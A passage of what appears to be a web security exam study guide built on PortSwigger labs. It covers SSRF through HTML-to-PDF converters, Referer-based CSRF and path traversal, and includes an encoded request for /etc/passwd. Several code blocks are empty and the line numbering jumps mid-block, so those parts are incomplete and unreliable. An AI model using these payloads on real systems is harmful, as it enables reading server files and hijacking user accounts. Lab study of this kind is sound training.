XSS. 182 | 183 | ```JavaScript 184 | '); 1024 | 1025 | ``` 1026 | 1027 | >Libraries used to convert HTML files to PDF documents are vulnerable to server-side request forgery (SSRF). 1028 | 1029 | [PortSwigger Research SSRF](https://portswigger.net/daily-swig/ssrf) 1030 | 1031 | >Sample code below can be injected on vulnerable implementation of HTML to PDF converter such as wkhtmltopdf to read local file (SSRF). 1032 | 1033 | ```html 1034 | 1035 | 1036 | 1044 | 1045 | 1046 | ``` 1047 | 1048 | >JSON POST request body containing the HTMLtoPDF formatted payload to read local file. 1049 | 1050 | ```JSON 1051 | { 1052 | "tableHtml":"

SSRF in HTMLtoPDF

1271 | ``` 1272 | 1273 | [PortSwigger Lab: Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking) 1274 | 1275 | 1276 | ### Referer CSRF 1277 | 1278 | >Identify change email vulnerable to the referer header to validate being part of the referer header value. 1279 | 1280 | >Adding original domain of target and append it to the **Referer header** in the form of a query string, allow the change email to update. 1281 | 1282 | ```html 1283 | HTTP/1.1 200 OK 1284 | Content-Type: text/html; charset=utf-8 1285 | Referrer-Policy: unsafe-url 1286 | ``` 1287 | 1288 | >**Note:** Unlike the normal Referer header spelling, the word **"referrer"** must be spelled correctly in the above code^^. 1289 | 1290 | >Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the **history.pushState()** function includes a query string with target URL. 1291 | 1292 | ```html 1293 | 1294 | 1295 | 1296 | 1297 |
1298 | 1299 | 1300 |
1301 | 1304 | 1305 | 1306 | ``` 1307 | 1308 | >When above exploit payload body CSRF delivered to victim, it changes victim email to test@test.com. 1309 | 1310 | ![referer csrf](images/referer-csrf.png) 1311 | 1312 | [PortSwigger Lab: CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-broken) 1313 | 1314 | 1315 | ## File Path Traversal 1316 | 1317 | >The imagefile parameter is vulnerable to directory traversal path attacks, enabling read access to arbitrary files on the server. 1318 | 1319 | ```bash 1320 | ../../../../../../../../../../ 1321 | ``` 1322 | 1323 | >On the admin portal the images are loaded using **imagefile=** parameter, vulnerable to directory traversal. 1324 | 1325 | ```html 1326 | GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd 1327 | ``` 1328 | 1329 | ![URL encode path traverse](images/encode-path-traverse.png) 1330 | 1331 | >Burp Intruder provides a predefined payload list (Fuzzing - path traversal). 1332 | 1333 | [PortSwigger Lab: File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode) 1334 | 1335 | [PortSwigger Academy File-path-traversal](https://portswigger.net/web-security/file-path-traversal) 1336 | 1337 | 1338 | ## Focus Scanning 1339 | 1340 | >Due to the tight time limit during engagements, scan defined insertion points for specific requests. 1341 | 1342 | ![scan-defined-insertion-points](images/scan-defined-insertion-points.png) 1343 | 1344 | >Scanner detected xmlns on stockId parameter and can lead to reading file on host parse text. 1345 | 1346 | ```xml 1347 | 1348 | ``` 1349 | 1350 | [PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-discovering-vulnerabilities-quickly-with-targeted-scanning) 1351 | 1352 | 1353 | 1354 | ## YouTube Training Playlist 1355 | 1356 | [YouTube Study Playlist](https://youtube.com/playlist?list=PLsDxQTEdg_YkVMP6PybE7I-hAdhR7adem) 1357 | 1358 | Youtube channels: 1359 | 1360 | 1. [Rana Khalil](https://www.youtube.com/@RanaKhalil101/videos) 1361 | 2. [David Bombal](https://www.youtube.com/@davidbombal/videos) 1362 | 3. [intigriti](https://www.youtube.com/@intigriti/videos) 1363 | 4. [Seven Seas Security](https://www.youtube.com/@7SeasSecurity/videos) 1364 | 5. [LiveUnderflow](https://www.youtube.com/@LiveUnderflow/videos) 1365 | 6. [Tib3rius](https://www.youtube.com/@Tib3rius/videos) 1366 | 7. [John Hammond](https://www.youtube.com/@_JohnHammond/videos) 1367 | 8. [TraceTheCode](https://www.youtube.com/@TraceTheCode/videos) 1368 | 9. [Sabyasachi Paul](https://www.youtube.com/@h0tPlug1n/videos) 1369 | 10. [bmdyy](https://www.youtube.com/@bmdyy/videos) 1370 | 11. [securityguideme](https://www.youtube.com/@securityguideme/videos) 1371 | 12. [nu11 security](https://www.youtube.com/@Nul1Secur1ty/videos) 1372 | 13. [PortSwigger](https://www.youtube.com/@PortSwiggerTV/videos) 1373 | 14. [IppSec](https://www.youtube.com/@ippsec/videos) 1374 | 15. [@tjc_](https://www.youtube.com/@tjc_/videos) 1375 | 1376 | 1377 | ## Footnote 1378 | 1379 | >The exam is designed to be challenging, it is not straight forward vulnerabilities, twisted challenges and even rabbit holes. Perseverance: persistence in doing something despite difficulty or delay in achieving success. #TryHarder 1380 | --------------------------------------------------------------------------------